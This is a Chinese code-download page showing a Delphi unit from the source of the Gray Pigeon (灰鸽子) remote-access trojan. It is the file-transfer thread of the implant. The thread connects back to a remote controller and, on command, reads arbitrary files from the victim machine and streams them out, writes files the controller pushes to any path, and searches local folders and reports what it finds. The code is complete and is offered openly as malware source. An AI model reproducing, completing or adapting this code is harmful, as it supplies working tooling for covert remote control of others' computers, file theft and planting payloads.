⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 downloadfileunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit DownLoadFileUnit;

interface

uses
  Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64;

type
  TDownLoadThread = class(TThread)
  private
    TheFileName:String;
    ThePosition:integer;
    SysThread:TIdTCPClient;
    ISover:boolean;
  protected
    procedure Execute; override;
  Public
    constructor Create;
    destructor Destroy; override;
  end;

implementation 
uses MainServer;

constructor TDownLoadThread.Create;
begin
   inherited Create(True);
   SysThread:=TIdTCPClient.Create(nil);
   SysThread.RecvBufferSize:=32768;
   SysThread.SendBufferSize:=32768;
   SysThread.ReadTimeout :=15000;
   ISover:=False;
   FreeOnTerminate:=True;
   Suspended := false;
   //Priority:=tpTimeCritical;
end;

{如何创建目录树}

procedure MakeDir(Dir: string);
  function Last(What: string; Where: string): Integer;
  var
    Ind: Integer;
  begin
    Result := 0;
    for Ind := (Length(Where) - Length(What) + 1) downto 1 do
      if Copy(Where, Ind, Length(What)) = What then begin
        Result := Ind;
        Break;
      end;
  end;
var
  PrevDir: string;
  Ind: Integer;
begin
  if Copy(Dir, 2, 1) <> ':' then
    if Copy(Dir, 3, 1) <> '\' then
      if Copy(Dir, 1, 1) = '\' then
        Dir := 'C:' + Dir
      else
        Dir := 'C:\' + Dir
    else
      Dir := 'C:' + Dir; if not DirectoryExists(Dir) then begin
     {如果目录不存在,取得上一个目录名}
    Ind := Last('\', Dir); {最后一个 '\'的位置}
    PrevDir := Copy(Dir, 1, Ind - 1); {上一个目录}
     {如果上一个目录不存在}
     {传递给此递归过程}
    if not DirectoryExists(PrevDir) then
      MakeDir(PrevDir);
     {在这里,上一个目录必须存在
      创建(in "Dir"; variable)目录}
    CreateDir(Dir);
  end;
end;


procedure TDownLoadThread.Execute;
var
  FromF: file of byte;
  FileLen,i:integer;
  NumRead, NumWritten: Integer;
  Buf: array[1..32768] of byte;   //32768
  Request:String;
  SaveFStream:TFileStream;
  MyStream: TMemoryStream;
begin
   if H_GZVIP2004.ConRpcport(SysThread) then
     begin
       try
         Request:='003';
         Request:=EncodeBase64(Request);
         SysThread.Write(Request+EOL);
       except
         SysThread.Free;
         Self.Terminate;
         exit;
       end;
   repeat
       i:=SysThread.ReadInteger; //读取是什么动作
       if i=12 then     //下载文件
         begin
           TheFileName:= SysThread.ReadLn(EOL);
           if FIleExists(TheFileName) then   //文件存在
             begin
               try
                 AssignFile(FromF,TheFileName);
                 FileMode:=0;
                 Reset(FromF);
                 SysThread.WriteInteger(1);
                 ThePosition:=SysThread.ReadInteger;
                 Seek(FromF,ThePosition);
               except
                 Try
                   SysThread.WriteInteger(0);
      	           CloseFile(FromF);
                 except
                 end;
                 SysThread.Free;
                 Self.Terminate;
                 exit;
               end;
               try
                 FileLen:=FileSize(FromF);
                 SysThread.WriteInteger(FileLen-ThePosition);
               except
                 CloseFile(FromF);
                 SysThread.Free;
                 Self.Terminate;
                 exit;
               end;
               if (FileLen>0) and (FileLen-ThePosition>0) then
               begin
               repeat
                 try
                   SysThread.OpenWriteBuffer;
                   BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
                   SysThread.WriteBuffer(Buf,NumRead);
                   SysThread.CloseWriteBuffer;
                 except
                   CloseFile(FromF);
                   SysThread.Disconnect;
                   self.Terminate;
                   exit;
                 end;
               until (NumRead = 0);
               end;
               CloseFile(FromF);
             end else begin{if FIleExists(TheFileName) then}
               SysThread.WriteInteger(0);
             end;
         end; {i=12}
       if i=11 then     //上传文件
         begin
           TheFileName:= SysThread.ReadLn(EOL);
           try
             Request:=ExtractFilePath(TheFileName);
             if not DirectoryExists(Request) then
             MakeDir(Request);
             if FIleExists(TheFileName) then   //文件存在
               begin
                 SysThread.WriteInteger(1);
                 FileLen:=SysThread.ReadInteger;
                 if Filelen=1 then
                 begin
                   SaveFStream:=TFileStream.Create(TheFileName,fmOpenReadWrite);
                   SaveFStream.Seek(0,soFromEnd);
                 end else begin
                   SaveFStream:=TFileStream.Create(TheFileName,fmCreate);
                   SaveFStream.Size:=0;
                 end;
               end else begin
                 SysThread.WriteInteger(0);
                 SaveFStream:=TFileStream.Create(TheFileName,fmCreate);
                 SaveFStream.Size:=0;
               end;
           except
             try
               SysThread.WriteInteger(0);
             except
             end;
           end;
           try
             SysThread.WriteInteger(1);
             SysThread.WriteInteger(SaveFStream.Size);
             FileLen:=SysThread.ReadInteger;
             if FileLen>0 then
             SysThread.ReadStream(SaveFStream,FileLen,False);
             SaveFStream.Free;
           except
             try
               SaveFStream.Free;
             except
             end;
           end;
         end;  {i=11}
       if i=14 then     //下载文件夹
         begin
           TheFileName:= SysThread.ReadLn(EOL);
           TheFileName:=H_GZVIP2004.FindFile(TheFileName); //搜索文件夹
           MyStream:=TMemoryStream.Create;
           MyStream.Write(TheFileName[1],Length(TheFileName));
           MyStream.Position:=0;
           SysThread.WriteInteger(MyStream.size);
           SysThread.WriteStream(MyStream);
           MyStream.Free;
         end;
      until (Terminated=False)and(SysThread.Connected=False);{isover}
    end;
    SysThread.Disconnect;
    SysThread.Free;
    //Self.Terminate;
end;

destructor TDownLoadThread.Destroy;
begin
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -